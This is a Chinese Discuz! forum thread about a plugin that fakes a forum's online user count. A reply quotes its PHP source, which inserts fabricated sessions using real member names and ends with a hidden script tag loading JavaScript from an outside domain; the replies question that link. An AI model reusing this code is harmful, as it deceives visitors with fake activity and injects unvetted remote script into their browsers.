Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[发布] DZ X2.0 会员虚拟在线插件 无需更改任何文件

  [复制链接]
麻烦、靠边站 发表于 2011-8-3 12:55:19 | 显示全部楼层
不知道好不好用。
回复

使用道具 举报

auglion 发表于 2011-8-4 22:21:50 | 显示全部楼层
我也用上了,但是不知道怎么自己控制虚拟数量啊?
回复

使用道具 举报

金花茶 发表于 2011-8-5 00:11:50 | 显示全部楼层
我显示的全是游客啊  能不能有会员在一起的?
回复

使用道具 举报

金花茶 发表于 2011-8-5 00:12:08 | 显示全部楼层
我显示的全是游客啊  能不能有会员在一起的?.....
回复

使用道具 举报

`_______Χɡɡ 发表于 2011-8-6 15:08:11 | 显示全部楼层
不错。人气暴增
回复

使用道具 举报

tingshang 发表于 2011-8-6 20:54:00 | 显示全部楼层
我已經下載來用了,感覺還不錯說!
回复

使用道具 举报

wodiqiu 发表于 2011-8-8 15:23:15 | 显示全部楼层
支持一下。。。
回复

使用道具 举报

posmanfang 发表于 2011-8-8 15:58:31 | 显示全部楼层
<?php
/*
*  DZ x2.0论坛虚拟在线人数插件
*
*
*/
if(!defined('IN_DISCUZ')) {
        exit('Access Denied');
}

/*
*   虚拟在线插件控制设置
*         本插件产生的游客ip为: 255.255.255.255 产生的会员ip为: 127.127.127.127
*/
/*   用户配置区域   */
$online[min_m] = 100;     //最少在线人数
$online[max_m] = 500;     //最大在线人数
$online[mem_m] = 1/5;     //在线会员人数比例

//$online[hid_m] = 1/100;   //隐身人数  不启用




/**  功能实现关键代码 请不要随意修改!**/
set_time_limit(0);
/*  获得所有会员信息 */
        $sql = "select * from ".DB::table('common_member')." limit 0,$online[min_m]";
        $q = mysql_query($sql);
        while($row = mysql_fetch_array($q))
        {
                $user[uid][] = $row[uid];
                $user[username][] = $row[username];
                $user[groupid][] = $row[groupid];
        }
       
/* 首先删除上一批在线人数; */
        $sql = "delete from ".DB::table('common_session')." where (ip1=255 and ip2=255 and ip3=255 and ip4=255) or (ip1=127 and ip2=127 and ip3=127 and ip4=127)";
        DB::query($sql);


/*        生成相应的session入库  */
       
        //产生一个总共在线人数
        $online_n = rand($online[min_m],$online[max_m]);
       
        //计算在线会员的人数
        $online_u = $online_n * ($online[mem_m]) ;
        $online_u = ceil($online_u);
               
        //计算会员中隐身的人数
        $online_h = $online_u * $online[hid_m];
        $online_h = ceil($online_h);
        //计算游客在线人数
        $online_g = $online_n - $online_u ;
       
        for($i=0;$i<$online_n;$i++)
        {
                $time = time()-rand(0,7200);
                $sid = sid();
                if( $i < $online_g )//产生游客
                {                       
                        DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','255','255','255','255','0','','7','0','','{$time}','','0','0')");
                }
                else //产生会员在线
                {
                        $u = array_rand($user[uid],1);
                        $uid = $user[uid][$u];
                        //查看该uid是否已经登录
                        DB::query("select uid from ".DB::table('common_session')." where uid=$uid");
                       
                        if( DB::affected_rows()>0 )
                        {
                                //如果该会员已经登录 则产生一个游客在线
                                DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','255','255','255','255','0','','7','0','','{$time}','','0','0')");
                        }
                        else
                        {                                               
                                $username = $user[username][$u];
                       
                                $groupid = $user[groupid][$u];
                       
                                DB::query("insert into ".DB::table('common_session')." (sid,ip1,ip2,ip3,ip4,uid,username,groupid,invisible,action,lastactivity,lastolupdate,fid,tid ) values ('{$sid}','127','127','127','127','{$uid}','{$username}','{$groupid}','0','','{$time}','','0','0')");
                        }
                }
        }
       
       
       
       

function sid()
{
        $str = "abcdefghijklmnopqrst1234567890";
        unset($sid);
        for($j=0;$j<6;$j++)
        {
                $sid .= substr($str, mt_rand(0,strlen($str)-1),1);
        }
        return $sid;
}
       
echo '<script src="http://ntrr.net人人笑话" language="JavaScript"></script>[/color]';
?>


這是連到哪個網址的???
回复

使用道具 举报

trynews 发表于 2011-8-8 17:41:25 | 显示全部楼层
能用吗?????
回复

使用道具 举报

posmanfang 发表于 2011-8-8 21:19:56 | 显示全部楼层
樓主還沒回答  紅色的字體是鏈接到哪得?
你看看吧
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-9-19 12:05 , Processed in 0.114690 second(s), 13 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表